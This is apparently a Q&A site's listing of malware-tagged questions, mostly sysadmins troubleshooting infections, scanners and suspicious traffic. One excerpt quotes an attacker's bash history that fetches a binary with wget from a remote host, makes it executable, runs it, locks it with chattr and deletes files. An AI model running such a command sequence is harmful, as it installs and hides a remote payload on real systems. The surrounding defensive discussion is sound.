Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

-2
votes
0answers
29 views

Virus in Google Windows server 2012 r2 [closed]

Last week my google server 2012 r2 effected with serious virus and I am incapable to work in any application also in can’t manage Windows server manager. I tried to remove the virus but after several ...
1
vote
1answer
52 views

We've had a ransom-ware attack - looking for help/advice

I've recently started working in a small subsidiary of a larger international organisation. My work is on the help desk, and there's 3 developers on the team, and our boss is the manager and acting ...
0
votes
0answers
26 views

Suspicious domains in DNS logs

I'm seeing a lot of domains in our networks DNS logs (recursive) that all seem to be related and all return some sort of hash on port 80 Does anyone know what software is using them? ...
0
votes
2answers
39 views

Inspecting TLS/SSL passing in/out of a network without specialised device?

At the moment I'm managing a small home office setup - a few PCs and a soft open source x86 *nix based router. I'd like to move traffic scanning / inspection onto an edge device. The motive is to ...
0
votes
0answers
13 views

Directories in the shared server in hosting turns shortcut icon

I'm just new to this server administration. I'm still finding my ways. We have site that is hosted in HOSTWAY. In my FTP I can see that my directories has turn its Icon as shortcut. We hosted ...
0
votes
0answers
22 views

Trying to find a trojan with Auditctl. Not enough information

So I have a website in Wordpress that keeps getting infected and starts sending spam emails. I have set up rules on AuditCTL on my Centos 6 server to find the culprit script but the information is ...
0
votes
0answers
29 views

How to fully track file creation on Centos

I have a server with CentOS which keeps getting infected. The infection always creates a file called post.php in httpdocs which starts sending emails. By default in Linux I can only see owner of the ...
1
vote
0answers
34 views

Is it possible to check the progress of of a currently running clamAV scan?

I have searched around but not found a possible solution to this so far. I have an ongoing scan which I thought would've been finished by at certain but unfortunately not. So I am wondering if there's ...
0
votes
1answer
57 views

Linux Maldetect Not Sending Email Reports

I've set Linux Malware Detect to send me emails of the reports it generates, but haven't received a single one even though it has produced several reports. Relevant maldet settings ...
1
vote
1answer
161 views

Microsoft Security Essentials says phantomjs for Windows has Varpes.M!plock virus

I can scan the zip file phantomjs-2.1.1-windows.zip, and it does not remove anything. But once I unzip the exe, Security Essentials remove the phantomjs.exe. The zip has the correct MD5 checksum. Any ...
1
vote
1answer
660 views

Something renames files to filename.ext.suspected

I've experienced a very strange behavior on a Debian server. This server runs a lot of website, most of them CMS, mainly WordPress. And sometimes something renames my files from wp-db.php to ...
4
votes
1answer
279 views

Will preventing POST requests stop the spread of a remote access trojan?

I like the acronym RAT (remote access trojan), because it resembles another type of thing you need to get rid of from your kitchen, and because when you get rid of one and find the hole it made and ...
0
votes
1answer
42 views

Errors installing Linux Malware Detector on Ubuntu 14.04 LTS

Upon running ./install .sh, I get... ln: failed to create symbolic link ‘/usr/local/sbin/maldet’: No such file or directory ln: failed to create symbolic link ‘/usr/local/sbin/lmd’: No such file or ...
1
vote
1answer
88 views

Getting heavy traffic from random IP addresses

Digital ocean closed my droplet dude to have traffic on droplet. I made a new droplet(instance) and I am facing the same issue again. My nginx access.log is full of random ip address trying to make ...
0
votes
1answer
59 views

Troubleshooting connectivity when curl returns 'empty reply' from a server on my computer only

For whatever reason, my computer (Mac OS X 10.11.1) cannot fetch a webpage from a website using curl when it works fine on other computers. Also ping works but curl doesn't: $ ping ...
1
vote
0answers
22 views

LMD/Maldetect: Missing target-file operand after

After running mallet 1.5 in screen-mode (# maldet -a /var/www) I'm getting this return: maldet(6070): {scan} 618017/618044 files scanned: hits 0 cleaned/usr/bin/wc: ...
0
votes
2answers
35 views

Find out which PHP-Script starts Apache2-process

I would like to know how you find out which php-scripts are starting apache2-processes, which are causing high load. It seems that one user is infected with malware (php-shell). LMD ...
2
votes
1answer
92 views

Detecting/preventing malicious outlook rules

Attackers like to abuse Outlook for a variety of purposes. For example, an attacker could auto forward emails to a remote address or persist inside a network by creating client-side rules that ...
1
vote
1answer
52 views

Malware scanning in the cloud (Azure)

Has anyone had success implementing a mechanism that can scan uploaded files for malware when using Azure? In this instance, I would be using their Sites and storage options, rather than controlling ...
0
votes
0answers
46 views

using testdisk to restore old superblock, cryptowall3.0 restoration

I have a drive that was infected with cryptowall3.0 Documentation states that the file is deleted and then from memory a new file is encrypted and that memory file is rename. Hypothetically restoring ...
1
vote
1answer
504 views

How can I scan files (or data streams) for virus/malware before uploading them into the server and database?

How can I scan an incoming file upload (or a datastream) into a webserver and database for virus/malware? I know how (using the excellent Clam) to scan things after they have been uploaded, but I ...
0
votes
2answers
214 views

Ads by jabuticaba in all browsers

Recently we got a user who had some malware on his machine -- we've run our McAfee VirusScan Enterprise software, malware bytes anti-malware, combo-fix, adwcleaner and hijack this just to name a few ...
0
votes
0answers
11 views

redirect malware on server - next steps? [duplicate]

At least 3 separate websites (running different php web applications ) on our server have been very occasionally (few times a moonth) redirecting pages to malware pages showing ads. Initially it ...
0
votes
2answers
388 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
votes
0answers
27 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
0
votes
0answers
87 views

Filter internal mails for Spam on Office 365 (Exchange Online)

Whilst making the transition from the On-Premises Exchange 2010 Server to Office 365 (Exchange Online), we temporarily left unconfigured our E-mail filtering smart host (Websense Cloud E-mail ...
0
votes
1answer
63 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
votes
2answers
2k views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
-3
votes
0answers
93 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
votes
1answer
62 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
3
votes
0answers
96 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
votes
2answers
2k views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
-1
votes
1answer
145 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
1
vote
1answer
156 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
0
votes
1answer
396 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
1
vote
2answers
69 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
votes
2answers
433 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET ...
0
votes
1answer
402 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
-1
votes
1answer
273 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
-1
votes
1answer
793 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
1
vote
4answers
403 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
0
votes
1answer
236 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
3
votes
2answers
334 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
-5
votes
1answer
64 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the ...
0
votes
2answers
4k views

High CPU load on Centos with process sync_supers

My centos server has high cpu load right now. Please see the Htop output below. sync_supers is very suspected but I don't know how to kill it. Any suggestions?
1
vote
2answers
106 views

Best way to trace outgoing requests from a server

We have an Ubuntu 14.04.1 LTS server with nginx 1.4.6 that hosts a few dozen websites and received an abuse complaint from another server of hundreds of requests like this: "POST /wp-login.php ...
0
votes
1answer
423 views

Monitoring “external” worm activity remotely

Some of our computers in our company has been infected with the worm Conficker. We don't know the source of the infection, but I want to monitoring the outside activity to see if we are still infected ...
0
votes
2answers
238 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
-1
votes
1answer
503 views

Getting rid of Trojan on Debian Server [duplicate]

-------- EDIT --------- I do not agree that this is a duplicate of the linked question. I know that the correct way to deal with this is to wipe and reinstall the server. However, i am interested in ...
-1
votes
1answer
210 views

My website redirects to malware link [duplicate]

I coded my own website and uploaded to a host. Some days ago I realized that in front page suddenly redirects to an unknown websites, until 3-4 redirects. The redirects ends up at: ...